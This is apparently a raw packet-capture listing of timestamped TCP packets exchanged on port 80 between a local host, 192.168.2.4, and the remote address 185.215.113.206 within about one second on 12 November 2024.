Nov 12, 2024 02:13:29.619461060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619462967 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619474888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619484901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619515896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619668961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619685888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619697094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619718075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619730949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619784117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619796038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619806051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619821072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619827032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619833946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619846106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.619849920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.619880915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782280922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782325029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782349110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782354116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782363892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782372952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782381058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782390118 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782394886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782402992 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782439947 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782483101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782497883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782510042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782520056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782525063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782538891 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782553911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782579899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782614946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782628059 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782638073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782649994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782660961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782666922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782685041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782689095 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782699108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782706022 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782712936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782727957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782731056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782747030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782752991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782752991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782769918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782772064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782787085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782788992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782802105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782809019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782823086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782824039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782844067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782850027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782861948 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782869101 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782875061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782898903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782908916 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782918930 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782929897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782943010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782946110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782958984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782968044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782970905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782980919 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.782984972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782996893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.782999992 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783016920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783019066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783030033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783044100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783047915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783063889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783071041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783076048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783088923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783097029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783101082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783108950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783118010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783132076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783142090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783150911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783162117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783171892 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783193111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783194065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783212900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783221960 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783221960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783236980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783253908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783263922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783265114 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783276081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783276081 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783291101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783296108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783302069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783318996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783322096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783334970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783343077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783370018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783376932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783410072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783418894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783425093 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783447981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783468008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783485889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783497095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783508062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783519983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783528090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783530951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783550978 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783555984 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783565998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783571959 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783586025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783596992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783606052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783606052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783607006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783622026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783638954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783641100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783654928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783667088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783678055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783678055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783694029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783704042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783711910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783731937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783737898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783749104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783751011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783763885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783777952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783781052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783797026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783801079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783801079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783809900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783823967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783828974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783843040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783848047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783852100 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783863068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783871889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783875942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783884048 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783898115 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783900976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783915043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783917904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783932924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783937931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783948898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.783952951 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783961058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.783989906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784008026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784018993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784029961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784030914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784038067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784045935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784051895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784064054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784068108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784076929 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784077883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784096003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784105062 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784110069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784122944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784125090 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784148932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784166098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784174919 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784181118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784192085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784208059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784225941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784240007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784285069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784297943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784307957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784327984 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784334898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784353018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784357071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784370899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784378052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784379959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784392118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784395933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784404993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784408092 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784444094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784452915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784457922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784473896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784482002 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784486055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784502983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784502983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784517050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.784518957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784532070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784550905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.784557104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897603989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897706032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897736073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897752047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897763968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897769928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897780895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897799969 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897813082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897813082 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897835016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897846937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897857904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897862911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897866964 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897869110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897874117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897876024 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897886038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897903919 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897914886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897929907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897938967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897939920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897957087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897970915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.897973061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.897984982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.898011923 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.898071051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.898082972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.898097992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.898107052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.898133993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947295904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947318077 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947330952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947377920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947406054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947424889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947442055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947453976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947490931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947505951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947509050 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947518110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947537899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947581053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947627068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947674990 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947689056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947702885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947726965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947736025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947740078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947762966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947763920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947777033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947792053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947793961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947804928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947813988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947817087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.947846889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.947864056 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948010921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948054075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948121071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948138952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948149920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948160887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948164940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948174953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948175907 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948188066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948196888 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948200941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948213100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948225021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948227882 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948236942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948242903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948250055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948260069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948293924 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948333025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948373079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948381901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948385000 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948410988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948426008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948458910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948473930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948487043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948498011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948502064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948515892 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948544979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948573112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948615074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948688984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948705912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948712111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948721886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948734045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948746920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948750019 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948774099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:29.948780060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948788881 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:29.948792934 CET	80	49755	185.215.113.206	192.168.2.4
